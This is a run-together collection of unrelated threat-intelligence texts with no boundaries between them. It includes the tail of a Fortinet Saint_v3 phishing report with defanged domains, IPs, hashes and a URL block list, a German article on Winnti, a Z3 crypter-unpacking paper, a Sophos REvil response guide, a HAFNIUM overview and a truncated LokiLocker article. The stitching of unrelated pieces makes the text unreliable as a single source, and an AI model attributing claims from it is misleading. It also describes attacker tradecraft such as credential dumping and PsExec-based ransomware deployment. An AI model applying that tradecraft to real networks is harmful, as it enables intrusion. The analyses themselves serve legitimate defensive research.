shield on it to lend a sense that this is a legitimate protection update. Notice the similarity in the nomenclature between both domains (`2215[.]site` and `2330[.]site`). The `2215[.]site` domain is registered to `fed****kar@rambler[.]ru`. As of April 21st, both of these domains share the same IP address, `[176[.]113.115.133]`. ## Connecting the Dots A search on the `2330[.]site` domain reveals that the domain is registered to the email contact `kun*******1969@rambler[.]ru`. Subsequent searches reveal that the registrant owns the following domains: - `1017[.]site` - `1202[.]site` - `2330[.]site` - `29572459487545-4543543-543534255-454-35432524-5243523-234543[.]xyz` (this had only been registered for three days at the time of writing) Below is a screenshot tying in the infrastructure below, along with the connection to the IP address `176[.]113.115.133` to the following domains: - `2330[.]site` - `2115[.]site` - `29572459487545-4543543-543534255-454-35432524-5243523-234543[.]xyz` ## C2 Infrastructure This is the `2330[.]site` DNS over time: | Date | Class | Type | IP | |----------------------------------|-------|------|-------------------| | 2021/01/11 04:08:54 PM | IN | A | 95[.]143.218.55 | | 2021/04/20 11:27:04 PM | IN | A | 185[.]195.27.112 | | 2021/04/21 10:01:25 PM | IN | A | 176[.]113.115.133 | This is the `name4050[.]com` DNS over time: | Timestamp | Class | Type | Response | |-----------------------------------|-------|------|-------------------| | 2021/04/03 07:10:58 AM | IN | A | 31[.]42.185.63 | ## Conclusion The spearphishing examples above highlight the ways that attackers leverage simple techniques to coerce and compel a target into following a link. Although the attacker has spent time crafting the spearphishing email, setting up the fake URLs, and using the Saint_v3 malware, this is by no means a sophisticated attack. However, planning something like this takes time and resources. One example of the lack of sophistication of this spearphishing email is that the message body appears to be rushed, given the grammar issues. The strategy used is not unique; it is the same old spearphishing strategy that we’ve seen many times before. However, the COVID-21 lure is unique and preys on the public’s fears of the unknown. What is most concerning is that such attacks are often successful, and the malware being delivered can just be the beginning of a bigger attack as Saint itself is a downloader. Once backdoor access is achieved, a multitude of things can occur, such as a ransomware infection, damage to the reputation and bottom line of any organizations, and the potential loss of sensitive information and state secrets. In the grand scheme of things, it doesn’t really matter how ineffective or rushed an attack like this might be, because all it takes is one mistake by one of the targeted victims. Once this occurs, the attacker has a beachhead to establish a foothold. When political tensions are high, gathering intelligence is critical. It is easy to send widespread lures in the hope of getting one person to fall prey as part of a larger strategy. All it takes is one bite, and you are in. Attackers know that there are many layers of security they have to get through to get the data or resources they are targeting. Although there have been many technological advancements in security over time, the weakest link in any defense is still the human one. Organizations must take the time to train and emphasize to their employees that such attacks exist and happen quite often. They need to be the focus of continuous internal security training sessions, as no amount of technology can stop human curiosity, fear, and misjudgment. ## Fortinet Protections Fortinet customers are already protected from this Saint V3 campaign and associated files with FortiGuard’s AntiVirus and WebFiltering services. The redirected URLs launched from the Word Document and LNK samples are rated as "Malicious Websites" by the FortiGuard Web Filtering service. The attached "Covid-21" Word Document file is detected as “RTF/CoinMiner.OIE!exploit,” the `index.txt` [AutoIT exfiltrator] file is detected as "W32/GenKryptik.FDZD!tr," the `WindowsUpdate.exe` [AutoIT exfiltrator] is detected as "W32/Kryptik.HKKC!tr," and the Saintv3 downloader "W32/Kryptik.HKMB!tr" are blocked by the FortiGuard AntiVirus service. For FortiEDR protections, all published IOCs were added to our Cloud intelligence and will be blocked if executed on customer systems. The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR. As a result, customers who have these products with up-to-date protections are protected. We also suggest our readers go through the free NSE training — NSE 1 – Information Security Awareness, which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks. Fortinet’s Phishing Simulation Service, FortiPhish, can also be used to proactively test the susceptibility of your organization to these kinds of phishing attacks. ## MITRE ATT&CK: **Initial Access** Spearphishing Link - T1566.002 **Execution** PowerShell - T1059.001 Windows Command Shell - T1059.003 Execution for Client Execution - T1203 Malicious Link - T1204.001 **Defense Evasion** Execution Guardrails - T1480 File Deletion - T1070.004 **Discovery** File and Directory Discovery - T1083 **Collection** Data from Local System - T1005 **Command and Control** Web Protocols - T1071.001 ## IOCs **File:** COVID-21.doc - Size: 4184194 bytes - MD5: 44697AAD796C0D82C1ADBEE15FD1266B - SHA256: 9803E65AFA5B8EEF0B6F7CED42EBD15F979889B791B8EADFC98E7F102853451A - Detected by FortiGuard Anti-Virus as: RTF/CoinMiner.OIE!exploit **File:** index.txt - Size: 744448 bytes - MD5: D377C71F7DF1C515705EB6B0CC745F7D - SHA256: 89DA9A4A5C26B7818E5660B33941B45C8838FA7CFA15685ADFE83FF84463799A - AutoIT file stealer - Detected by FortiGuard Anti-Virus as: W32/GenKryptik.FDZD!tr **File:** index.txt/Update-AV.exe - Size: 229888 bytes - MD5: 9AE3D8BA1311AF690523AEB2E69BB469 - SHA256: C33A905E513005CEE9071ED10933B8E6A11BE2335755660E3F7B2ADF554F704A - Saint_v3 - Detected by FortiGuard Anti-Virus as: W32/Kryptik.HKMB!tr **File:** WindowsUpdate.exe - Size: 612352 bytes - MD5: E4855693722DE3856421B1B6920BA54D - SHA256: 0E1E2F87699A24D1D7B0D984C3622971028A0CAFAF665C791C70215F76C7C8FE - AutoIT file stealer - Detected by FortiGuard Anti-Virus as: W32/Kryptik.HKKC!tr The following URLs are blocked by the WebFiltering Client: - 31[.]42.185.63 - 1017[.]site - 1202[.]site - 2330[.]site - name1d[.]site - name4050[.]com - `http://smm2021[.]net/wp-adm/gate.php` - 29572459487545-4543543-543534255-454-35432524-5243523-234543[.]xyz Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolio.
# Industriespionage Deutsches Chemieunternehmen gehackt Eine Hackergruppe hat jahrelang deutsche Konzerne ausgespäht. Nun konnten Reporter von BR und NDR einen weiteren Fall nachweisen - beim Chemieriesen Lanxess. Experten vermuten, dass der chinesische Staat dahintersteckt. Das Chemieunternehmen Lanxess ist Opfer eines Hacker-Angriffs geworden. Nach Recherchen von BR und NDR steckt hinter der Attacke eine Gruppe mit dem Namen "Winnti". Experten vermuten, dass die Hacker eine Verbindung zur chinesischen Regierung haben. Bereits im Juli hatten BR und NDR berichtet, dass "Winnti" mehrere Dax-Konzerne gehackt hat, darunter Siemens, BASF und Henkel. Lanxess bestätigte den Angriff auf Anfrage. Demnach ist die Schadsoftware in der "zweiten Hälfte des vergangenen Jahres" identifiziert worden, woraufhin man Gegenmaßnahmen eingeleitet habe. Es seien "keine geschäftsrelevanten sensiblen Daten in signifikantem Umfang abgeflossen", sagte ein Sprecher. Auf Nachfrage korrigierte sich der Konzern: Man habe keine Erkenntnisse zu einem möglichen Abfluss von Daten. Lanxess hat den Vorgang nach eigener Aussage an die Strafverfolgungsbehörden übergeben und möchte sich nicht weiter zu dem Vorfall äußern. Eine Untersuchung der "Winnti"-Schadsoftware durch Reporter von BR und NDR ergab, dass diese mutmaßlich schon 2015 für den Einsatz bei Lanxess entwickelt wurde. In dieser Zeit hat "Winnti" auch mehrere Konkurrenten von Lanxess attackiert. Daher liegt nahe, dass der Konzern über Jahre ausspioniert wurde. Doch um rückblickend nachvollziehen zu können, ab wann und wie die Hacker sich im Unternehmensnetz bewegten, braucht es umfassende Log-Dateien. Nach Ansicht mehrerer IT-Sicherheitsexperten wäre es ungewöhnlich, wenn Lanxess solche Dateien so lange aufbewahren würde. Die Schadsoftware landete Anfang des Jahres auf einer Datenbank für Schadsoftware, dort fiel sie Experten auf. Die Hacker schrieben den Namen des gehackten Unternehmens direkt in ihr Programm, in diesem Fall: Rheinchemie, eine Unterabteilung von Lanxess. Die Firma gehört mit einem Jahresumsatz von 7,2 Milliarden Euro (2018) und mehr als 15.000 Mitarbeitern zu den größten Chemiekonzernen Deutschlands. Die Aktien des Unternehmens sind im M-Dax gelistet. Dass "Winnti" weiter aktiv ist, darauf deuten mehrere Fälle in Hongkong und Taiwan hin. Mit Hilfe von sogenannten Command-and-Control-Servern (C2-Server) lässt sich zeigen, dass "Winnti" mehrere Universitäten in Hongkong ins Visier genommen hat. Hacker betreiben derartige Server, um nach einer erfolgreichen Virus-Infektion mit der Schadsoftware kommunizieren zu können und beispielsweise den Befehl zum Kopieren von Daten zu erteilen. Reporter von BR und NDR konnten mit Hilfe eines Programms, das verschiedene mögliche Namenskombinationen durchprobiert, die Existenz von mehreren C2-Server nachweisen, deren Namen auf mehrere Universitäten in Hongkong hindeuten. Auf Anfrage teilte eine Universität mit, sie habe bislang keinen "Winnti"-Angriff festgestellt, die übrigen ließen Anfragen zu den mutmaßlichen Attacken unbeantwortet. Die IT-Sicherheitsfirma ESET veröffentlichte an diesem Freitag eine eigene Untersuchung zu Hackerangriffen der "Winnti"-Gruppe in Hongkong. Zu konkreten Universitäten äußert sich ESET nicht. Auch in Taiwan hat es mutmaßlich einen neuen "Winnti"-Vorfall gegeben. So soll die Software-Firma Cyberlink Ende 2019 von "Winnti" ausspioniert worden sein. Cyberlink stellt unter anderem Software-Lösungen für Videokonferenzen und Messenger her. Cyberlink äußerte sich auf Anfrage nicht. Das Bundesamt für Verfassungsschutz (BfV) hatte zuletzt im Dezember vor "Winnti" gewarnt und Unternehmen konkrete Regeln an die Hand gegeben, mit denen ein Angriff der Hacker festgestellt werden kann. Auf Anfrage erklärte BfV-Präsident Thomas Haldenwang nun schriftlich: "Das BfV geht davon aus, dass es weitere unbekannte 'Winnti'-Opfer in Deutschland gibt, insbesondere in der Chemie-Branche." Die Frankfurter IT-Sicherheitsfirma Quoscient beschrieb die "Winnti"-Hacker in einer 14-seitigen Analyse. Laut der Expertin Sophie Walther ist die Zuweisung von Angriffen grundsätzlich schwierig. Aber wenn man das Vorgehen der Hacker analysiere, sowohl technisch als auch geopolitisch, gebe es Indizien, die in Richtung China deuten. Das Land habe "Wirtschaftsstrategien veröffentlicht, in denen bestimmte Industriesektoren aufgelistet sind, in denen China sehr großes Interesse hat, Weltmarktführer zu werden. Und wenn man das vergleicht mit den Konzernen, die in Deutschland und auch weltweit angegriffen wurden, stimmen die auf eine bestimmte Art und Weise überein", sagte Walther BR und NDR. Bislang war "Winnti" vor allem durch klassische Ziele für Industriespionage aufgefallen: Unternehmen der Chemiebranche und Hochtechnologiekonzerne. Die mutmaßlichen Attacken auf die Hongkonger Universitäten deuten darauf hin, dass die Gruppe sich vermehrt auch politisch motivierten Angriffszielen zuwendet. Bereits 2019 gab es Hinweise darauf, dass die Gruppe Regierungsstellen in Hongkong angegriffen hatte.
# A Case Study into Solving Crypters/Packers in Malware Obfuscation using an SMT Approach **Jason Reaves** ## ABSTRACT Obfuscation in malware is commonly employed for various reasons, but its purpose is ultimately the same: to make the underlying malicious entity go unnoticed. Crypters and packers are heavily employed to bypass common security measures, serving as tools that utilize algorithms to transform data into other forms while allowing for reversal later. These reversible algorithms can be chained together into 'layers'. This paper explores the idea that it is easier to think of these layers as a math equation that can be solved, potentially turning the overwhelming task of writing an unpacker into a more manageable problem. For the purpose of this paper, I will refer to both packers and crypters as packers, as both are used in malware to obfuscate the underlying code to be executed. ## 1. Introduction Packers have evolved greatly over the years, especially with malware needing to utilize crypters and packers that can bypass various obstacles depending on their targets. For brevity, we will focus specifically on crypters that utilize multiple binary operators to obfuscate their payloads. Researchers often pivot from other data in these scenarios, such as finding ways to extract starting values through techniques like bruting, regex matching, or nearby static data pivoting. Instead of finding values, I have always yearned to lean on math to solve problems. If I can reverse this routine and describe it adequately in a higher-level language, I should be able to simplify or solve the problem. This line of thought led me to discover Z3 and its usefulness in subsets of malware research. ## 2. Finding the Problem The sample we’ll examine is the crypter used by the latest Locky Ransomware campaigns in late August 2017, identified by the hash `1c80b1ba2c514bc1d32eb5b9909d79812ab8f2944548bc96757c1d992ce6d8ac`. While this paper does not aim to show how to reverse engineer routines or malware, we will walk through the relevant portion of code to describe our problem. We will find the routine responsible for decoding the payload. A quick glance at the PE file shows a potentially encoded resource section. Opening the file in a debugger reveals several similar calls at the main entry point. Peeking inside one of these calls shows that they are jump commands to `OpenMutex`, attempting to open a mutex with the desired access of `SYNCHRONIZE`. As long as all the calls return 0, the code will proceed to a different function call that leads to another section of the binary, initiating some `LoadLibrary` calls. A quick stop at a loop that calls `WaitForSingleObject` repeatedly suggests a custom sleep routine. Sleep routines are commonly leveraged in malware to defeat sandbox analysis, which typically executes malware for a set time. Moving on, we see a call to `VirtualAlloc` followed by a loop utilizing a push-ret technique. Unfortunately, this is not our routine for decoding the payload but rather the routine for decoding the bytecode layer that will be called next. Whether we need to decode this layer depends on how the final routine is implemented for decoding the payload. For a more advanced example of a crypter requiring the decoding of some layers, I have a write-up on one such crypter where the decoding routine is dynamically generated. Heading into the next layer involves normal code resolving any dependencies it needs at runtime. You might notice an address change because the bytecode layer fixes its own dependencies, allocates a new memory section, and copies itself over before calling the next section of code to be executed from within itself. In this next code, we have a call to `VirtualAlloc` followed by data being moved into our newly created memory. When I see something like this in a crypter, my first thought is, “where is this data located in the binary?” A quick check shows it’s in the resource section we noticed earlier. The next call after the data is moved is interesting: some hardcoded DWORD values and two sub instructions with a load and store in a loop suggest an encoding loop of some kind. It’s essential to keep track of any hardcoded values, such as the one loaded into EDX immediately and then added to a hardcoded value, which turns out to be hardcoded in the bytecode layer. Further down, we see the previously mentioned loop that reveals the PE file, which is the loop we are concerned with since we know the file is in a resource section for this particular sample. We can construct this as a math routine: ``` f(x) = x − 0x824132AC − ∆ ``` We know that delta is `0x3c662605` for the first iteration, and delta becomes the previous x as it loops over the data. However, when decoding the binary, we won’t know the hardcoded value `0x824132AC` or the starting delta value. While bruting out the values is possible, it could be tedious. Instead, we could decode the bytecode layer and use YARA and regex patterns to find possible values, but this approach can be error-prone and just as slow as bruting. The other option is to use an SMT solver, which can solve these types of problems quickly because we know the endgame is a PE file, which has predictable header data. ## 3. SMT Solving an Unpacker We previously walked through the routine that decodes the payload. Now, we will turn this decoding routine, which is essentially a math problem, into something solvable by an SMT solver. Since we know the encoded data is in a resource section, we can set up our overall program pseudocode. The gist is to call a function on every resource section, which will handle setting up our SMT solver by adding necessary constraints. Our constraints are that we know what the output of the decoding should be—a PE file—and we know the routine involved. This means setting up our solver and adding constraints is essentially describing a problem and letting it solve it for us. Ultimately, we need to find two values: a hardcoded subtract DWORD value and another DWORD value used only for the first iteration, which is then replaced with the previous encoded DWORD value. For our problem, these values become variables, and for simplicity, we can use the first 12 bytes of the unpacked PE file of the sample we just examined, `'\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00'`. The more data we have, the more likely we are to solve the problem for the actual variables. Let’s begin setting up our solver function. Here we’ve set up the beginning of our solver function and declared them as BitVecs, which are 32-bit variables named `sub1` and `sub2`, representing our hardcoded subtraction variable and our initial delta variable. We can use our math function and unroll a few iterations into their equivalent y=x version, allowing us to find the unknown values we seek because we know the y and x, or the output and the input. Now let’s replace some of the data to make it use our variables and turn it into the y=x form: ``` y = x − hcsub − deltasub ``` We know the inputs and outputs already. The inputs are bytes found inside our sample, and the outputs are the first few bytes of a normal Windows executable. With this, we can use our mathematical algorithm to find the values we need. We set this up by adding constraints, which are conditions that will constrain our SMT solver. Now we can loop through every resource section and look for one that satisfies our constraints in the solver. ```python for rsrc in rsrcs: # Try z3 solvers a = bytearray(rsrc) for poss_decode in possible_decodes: s = solve_doublesub(a, poss_decode) if s.check() == sat: m = s.model() for d in m.decls(): if d.name() == 'sub1': sub1 = m[d].as_long() elif d.name() == 'sub2': sub2 = m[d].as_long() print("Satisfied!") print("Sub1 Value: " + hex(sub1)) print("Sub2 Value: " + hex(sub2)) ``` ## 4. Conclusion and Future Work This paper detailed a concept on how to approach looking at packers. However, creating an unpacker in this manner is not feasible for every variant that exists. It is possible in one-off scenarios where a researcher is tracking a specific malware family using a packer and wants to find what other families might be used by the same group or what other groups are using the same packer. Such discoveries can provide valuable insights into the workings of a threat group leveraging malware. Current software could leverage some concepts presented in this paper. Auto unpacking solutions have existed for years, typically relying on a combination of sandboxes or virtual machines with specific loaded modules or software designed to look for binaries decoded and rebuilt into memory sections. The concept of leveraging decoding routines could expand the usefulness of these automated systems for finding interesting code sections that might not be detected via normal means. Future research will involve the heuristic static detection of malware and interesting routines that this concept could be leveraged against and a process of auto-generating SMT solvers.
# What to Expect When You’ve Been Hit with REvil Ransomware **Tilly Travers** June 30, 2021 REvil, also known as Sodinokibi, is a widely used ransomware-as-a-service (RaaS) offering that has been around since 2019. Criminal customers can lease the REvil ransomware from its developers, adding their own tools and resources for targeting and implementation. As a result, the approach and impact of an attack involving REvil ransomware is highly variable. This can make it hard for defenders to know what to expect and look out for. The following information may help IT admins facing or proactively concerned with the impact of a REvil ransomware attack. The findings are based on insights from the Sophos Rapid Response team, which has investigated multiple cyberattacks involving REvil. ## What to Do Immediately: Contain and Neutralize The first thing you need to do is determine whether the attack is still underway. If you suspect it is, and you don’t have the tools in place to stop it, determine which devices have been impacted and isolate them immediately. The easiest option is to simply disconnect from all networks. If the damage is more widespread than a few devices, consider doing this at the switch level and taking entire network segments offline instead of individual devices. Only shut down devices if you can’t disconnect the network. Second, you need to assess the damage. Which endpoints, servers, and operating systems were affected? What has been lost? Are your backups still intact or has the attacker deleted them? If they are intact, make an offline copy immediately. Also, which machines were protected? They’ll be critical in getting you back on your feet. Third, do you have a comprehensive incident response plan in place? If not, you need to identify who should be involved in dealing with this incident. IT admins and senior management will be required, but you may also need to bring in outside security experts and consult with cyber insurance and legal counsel. Should you report the incident to law enforcement and/or inform data protection authorities? There is also the question of what information you should give to employees, many of whom are likely to find a similar ransom note on their desktop. Last, but definitely not least: you’ll need to contact these and other key people, such as customers, to let them know what’s happening, but the attackers may be eavesdropping so don’t use your normal channels of communication. If the intruders have been in your network for a while, they’ll probably have access to email, for instance. ## What to Do Next: Investigate Once you have managed to contain and neutralize the attack, take time to investigate what happened so you can reduce the likelihood of it happening again. If you don’t feel confident about doing this yourself, there is specialist incident response and threat hunting help available 24/7 from security vendors, including Sophos. According to the Sophos Rapid Response team, this is what you can expect from REvil/Sodinokibi ransomware activity on your network: 1. The attackers have most likely been on your network for a few days or even weeks. REvil ransomware is operated by human adversaries who have leased the malware from the developers, adding their own tools and targets. They take time to prepare attacks that cause maximum disruption, which enables them to charge the multi-million-dollar ransoms REvil is known for. Note: Malicious activity can begin before ransomware attackers arrive. Sophos experts investigating a recent REvil attack found a direct link between an inbound phishing email and a multi-million-dollar ransom attack two months later. The phishing email, which succeeded in capturing an employee’s access credentials, probably came from an Initial Access Broker, who, a few weeks later, appears to have used PowerSploit and Bloodhound to move through the breached network to locate high-value domain admin credentials. The broker later sold these credentials to the REvil adversaries so they could breach the target’s network. 2. The attackers may use a variety of different methods to break into your network. Possible initial access methods for REvil ransomware include exploits against a known vulnerability, phishing for user credentials via spam emails, brute-force attacks against internet-facing services like Virtual Private Networks (VPNs), exposed remote desktop protocol (RDP), and desktop remote management tools like Virtual Network Computing (VNC). Sites like Shodan.io provide insight into what an attacker could find out about your network; try using it to search your external IP addresses. 3. They will have secured access to domain admin accounts as well as other user accounts. Attackers typically compromise multiple accounts during an attack. Their main goal is to get access to domain admin accounts that can be used to launch the ransomware. However, they also target specific admin accounts that have access to sensitive data, backup systems, and security management consoles. REvil attackers often use tools like Mimikatz, which can capture information from a running Microsoft LSASS.exe process that contains usernames/password hashes of currently logged-on users. Sometimes attackers will leave this running and then deliberately break something on the machine that they’ve targeted, provoking an admin to log in to fix it. Attackers can then capture this admin’s credentials. 4. They will have scanned your network. They know how many servers and endpoints you have and where you keep your backups, business-critical data, and applications. One of the first things attackers will do when they get onto a network is identify what access they have on the local machine. The next step is to find out what remote machines exist and if they can access them. Attackers use legitimate network scanners like “Advanced Port Scanner” and “Angry IP Scanner” due to their effectiveness and the fact that they are unlikely to be blocked. These scanners will generate a list of IPs and machine names, making it easy for attackers to focus on critical infrastructure. 5. The attackers are likely to have downloaded and installed backdoors that allow them to come and go on your network and install additional tools. They’ll have set up folders and directories to collect and store stolen information and channels for communicating with the attackers and for moving information out of your network. The backdoors come in a variety of forms. Some just communicate back to the attackers’ IP address, allowing them to send and receive commands to the machine. Many backdoors are classified as legitimate applications. For example, the attackers might use Remote Administration tools such as RDP to maintain access. Note: In one REvil attack that Sophos investigated, the adversaries had installed the Screen Connect remote access tool onto 130 devices, roughly a third of the network, in order to maintain access if they were removed or blocked elsewhere. 6. In addition to the encryption of data and disruption to software and operations, some REvil operators will try to exfiltrate hundreds of gigabytes of corporate data prior to the main ransomware event. Sophos experts have only seen this multi-mode extortion in around half of the REvil/Sodinokibi attacks they investigated, but it is still worth being aware of the risk. The attackers will generally threaten to publish stolen sensitive data on a so-called “leak site” for anybody to download unless they pay the ransom. Once a file server is identified, attackers often use a tool called “Everything” that enables very fast file searching for keywords, such as “account,” “confidential,” “Social Security number.” After they identify the data, there are numerous methods the attackers can use to steal it. For example, they could simply log in to an online email service and email it somewhere or use a cloud storage provider like DropBox. Alternatively, they could install an FTP Client like FileZilla or Total Commander FTP and upload the data to their server. Attackers often automate exfiltrating larger amounts of data. For example, they might use a tool like RClone, a command line tool that connects to a wide variety of cloud storage providers. In approximately 75% of the Sophos-investigated REvil ransomware attacks that included data exfiltration used Mega.nz to temporarily store the stolen information. 7. They will have tried to encrypt, delete, reset, or uninstall your backups. Unless your backups are stored offline, they are within reach of the attackers. A “backup” that is online and available all the time is just a second copy of the files waiting to be encrypted. 8. The attackers will have tried to identify what security solution is used on the network and whether they can disable it. It doesn’t matter how good your protection is if the attacker can turn it off or modify its policy. REvil attackers have used GMER to try to disable security software. Sophos experts have also seen REvil ransomware attackers rebooting the computer into Safe Mode before data encryption in order to bypass endpoint protection tools. Anyone with admin rights can instantly disable free default tools, such as Windows Defender. 9. The most visible part of the attack – the deployment of ransomware – probably took place when no IT admins or security professionals were online to notice and prevent the lengthy process of file encryption, possibly during the middle of the night or during the weekend. Note: The encryption process can take hours. An encrypted Windows endpoint will have tens or hundreds of thousands of encrypted files by the time the ransomware is done. For large fileservers, this could run into the millions. This is why most targeted ransomware attacks are launched in the middle of the night, over a weekend, or on a holiday, when fewer people are watching. 10. The ransomware will have been deployed to all your endpoints and any servers that were online at the time of attack – providing that is what the attacker wanted. Ransomware is “deployed” like a normal application; in most attacks, it doesn’t spread randomly in all directions. If your servers were encrypted, but not your endpoints, that is because the attacker chose to only target your servers. Attackers deploy ransomware in a variety of ways. One of the most common ways that Sophos experts have seen is through a combination of batch scripts and the Microsoft PsExec tool. An attacker might create a batch script that loops through a list of your IP addresses, using PsExec to copy the ransomware to each machine and then execute it. 11. The launch of the ransomware is not the end. Using the various access mechanisms they set up during the preparation stage, the attackers will often continue to monitor the situation and even your email communications to see how you respond. The attacker may also wait until you recover to then launch a second attack to really emphasize that they can keep doing this until you pay. 12. If the attackers are looking for an additional means of extortion, the time spent in your network will likely have allowed the attackers to steal business-critical, sensitive, and confidential information that they now threaten to publicly expose. Some attackers also apply emotional pressures, with direct employee or business affiliate appeals and threats over email and phone. ## What Defenders Can Do There are some proactive steps you can take to enhance your IT security for the future, including: - Monitor your network security 24/7 and be aware of the five early indicators an attacker is present to stop ransomware attacks before they launch. - Shut down internet-facing remote desktop protocol (RDP) to deny cybercriminals access to networks. If you need access to RDP, put it behind a VPN or zero-trust network access connection and enforce the use of Multi-Factor Authentication (MFA). - Educate employees on what to look out for in terms of phishing and malicious spam and introduce robust security policies. - Keep regular backups of your most important and current data on an offline storage device. The standard recommendation for backups is to follow the 3-2-1 method: 3 copies of the data, using 2 different systems, 1 of which is offline. Also, test your ability to perform a restore. - Prevent attackers from getting access to and disabling your security: choose a solution with a cloud-hosted management console with multi-factor authentication enabled and Role Based Administration to limit access rights. - Remember, there is no single silver bullet for protection, and a layered, defense-in-depth security model is essential – extend it to all endpoints and servers and ensure they can share security-related data. - Have an effective incident response plan in place and update it as needed. If you don’t feel confident you have the skills or resources in place to do this, to monitor threats or to respond to emergency incidents, consider turning to external experts for help. Dealing with a cyberattack is a stressful experience. It can be tempting to clear the immediate threat and close the book on the incident, but the truth is that in doing so you are unlikely to have eliminated all traces of the attack. It is important that you take time to identify how the attackers got in, learn from any mistakes, and make improvements to your security. If you don’t, you run the risk that the same adversary or another one might attack again in the future.
# You Don’t Know the HAFNIUM of it… If you want to get access to Cyborg Security’s Community Defense Measures for the HAFNIUM attack, including our free detection content, keep reading for an overview of the attack and what we know so far! After little more than a month of reprieve, the infosec community is, once again, back into it. This time the target, though, is even more prevalent than SolarWinds’ Orion. Now the target is Microsoft’s Exchange, and the exploited vulnerability allows for remote code execution (or RCE). We’ve distilled down the facts of the HAFNIUM attack to answer the most important questions. ## What We Know So Far about HAFNIUM ### Who Are They? On 2 March 2021, Microsoft released a blog article detailing a new threat actor it had dubbed HAFNIUM. Microsoft observed the actor exploiting several 0-day vulnerabilities. The HAFNIUM group had previously targeted other organizations and has focused on the exploitation of Internet-facing services in the past. Later that same day, the company Volexity also released a blog article, identifying that they observed the attacks beginning as early as 3 January 2021. Hot on the heels of the Microsoft and Volexity blogs, other vendors began to contribute information. On 4 March 2021, FireEye’s Mandiant Intelligence released their own blog post. In it, FireEye identified that they tracked the activity under three separate activity clusters: UNC2639, UNC2640, and UNC2643. FireEye detected this activity all the way back in January 2021 and highlighted various TTPs and tools the actors used, including ASPXSPY, Covenant, China Chopper, Nishang, PowerCat, and Cobalt Strike. They described the actors’ method of deploying webshells on compromised Exchange servers, which were unique in that they detected the presence of specific security products and warned the actors. The security products it detected included FireEye, Carbon Black, and Crowdstrike. The actors appeared to drop more complex webshells over time to avoid detection. In time, other vendors have also come forward, including Symantec, which identified that they track HAFNIUM under the name Ant. ### Where is HAFNIUM From? Attribution can be a tricky topic in cyber threat intelligence. Despite this fact, several sources, including Microsoft, have indicated that the HAFNIUM group is “… state-sponsored and operating out of China …” ### Who is Being Targeted? At this point, the targeting of HAFNIUM appears opportunistic. Since Microsoft released their initial blog, the actors have “… stepped up attacks on any vulnerable, unpatched Exchange servers (2013, 2016, and 2019) worldwide.” The HAFNIUM group has targeted organizations in the past, including: - Infectious disease research - Law firms - Universities - Defense contractors - Think tanks - Non-Governmental Organizations (NGOs) FireEye also mentioned that they had observed several industries affected by the new attack, including: - Retailers - Local Governments - Universities - Engineering Firms They also identified possible related activity observed in Asia, including: - Federal governments - Telecommunications providers ### What Are The Actors Doing? Since early January, the actors have been exploiting several 0-day vulnerabilities in Exchange. The vulnerabilities, which affect on-premise versions of Microsoft Exchange only, are: - CVE-2021-26855 - CVE-2021-26857 - CVE-2021-26858 - CVE-2021-27065 Once the actors establish a foothold in the environment, they will deploy one or more web shells. These are small bits of code that give the actors control over the system. Once in the environment, the actors use a variety of techniques. ### HAFNIUM MITRE ATT&CK Techniques - T1003.001 – OS Credential Dumping: LSASS Memory - T1059.001 – Command and Scripting Interpreter: PowerShell - T1114.001 – Email Collection: Local Email Collection - T1136 – Create Account - T1003.003 – OS Credential Dumping: NTDS - T1021.002 – Remote Services: SMB/Windows Admin Shares - T1005 – Data from Local System - T1027 – Obfuscated Files or Information - T1046 – Network Service Scanning - T1059 – Command and Scripting Interpreter - T1070 – Indicator Removal on Host - T1071 – Application Layer Protocol - T1074.002 – Data Staged: Remote Data Staging - T1083 – File and Directory Discovery - T1110 – Brute Force - T1190 – Exploit Public-Facing Application - T1505 – Server Software Component - T1560.001 – Archive Collected Data: Archive via Utility - T1589.002 – Gather Victim Identity Information: Email Addresses - T1590.002 – Gather Victim Network Information: DNS ### When Did All This Happen? Reporting from both FireEye and Volexity state that the attacks were first observed in January. It is unknown whether this was the start of the campaign. The bulk of the campaign appears to have taken place over February and March 2021. ### What Should I Do? What you should do next will likely depend on a few factors: - Cyborg Security has released new advanced detection content through its Community Defense Measures (CDM) project. This content will alert organizations to malicious behaviors related to the attacks. - Microsoft has released a tool that will scan Exchange logs for suspicious and malicious modifications. - Microsoft has also released security updates for Microsoft Exchange. - The Cybersecurity and Infrastructure Security Agency (CISA) has also released Alert AA21-062A. An important note about this is that CISA warns organizations: “… [if] your organization [sees] evidence of compromise, your incident response should begin with conducting forensic analysis to collect artifacts and perform triage ….” - The US Department of Homeland Security also issued Emergency Directive 21-02.
# LokiLocker Ransomware Family Spotted with Built-in Wiper BlackBerry security researchers have identified a ransomware family targeting English-speaking victims that is capable of erasing all non-system files from infected Windows PCs. LokiLocker, a ransomware-as-a-service (RaaS) family with possible origins in Iran, was first seen in the wild in mid-August 2021. "It shouldn't be confused with an older ransomware family called Locky, which was notorious in 2016, or LokiBot, which is an infostealer," they say. "It shares some similarities with the LockBit ransomware (registry values, ransom note filename), but it doesn't seem to be its direct descendant." They describe LokiLocker – named after Loki, the trickster god in Norse lore – as a "limited-access ransomware-as-a-service scheme that appears to be sold to a relatively small number of carefully vetted affiliates behind closed doors." Affiliates are identified by a chosen username and assigned a unique chat-ID number. The researchers estimate there are about 30 different such affiliates across the LokiLocker samples that they have found in the wild. Like other cyber threats, such as distributed denial-of-services (DDoS), ransomware has evolved in recent years to include bad actors offering to lease their malware as a service to other criminals, enabling those less skilled to fire off relatively sophisticated campaigns via someone else's malicious code and backend infrastructure. McAfee last year issued a threat report that showed a significant drop in the incidence of ransomware in the first quarter of 2021. However, the decline had less to do with cybercriminals embracing other attack methods and more with many of them using RaaS campaigns that target fewer but larger organizations that bring in more money than mass multi-target ransomware attacks. BlackBerry researchers say there are victims around the world, which isn't surprising given that different affiliates may have different targeting patterns. Most so far are in Eastern Europe and Asia. The researchers are still trying to determine the origins of the RaaS family but wrote that all the embedded debugging strings are in English and mostly free of the kinds of mistakes and misspellings typically seen in malware coming from Russia or China. Some of the earliest known LokiLocker affiliates have usernames that are found exclusively on Iranian hacking channels. "Also, perhaps more interestingly, some of the cracking tools used to distribute the very first samples of LokiLocker seem to be developed by an Iranian cracking team called AccountCrack," says BlackBerry. "Moreover, at least three of the known LokiLocker affiliates use unique usernames that can be found on Iranian hacking channels. It's not entirely clear whether this means they truly originate from Iran or that the real threat actors are trying to cast the blame on Iranian 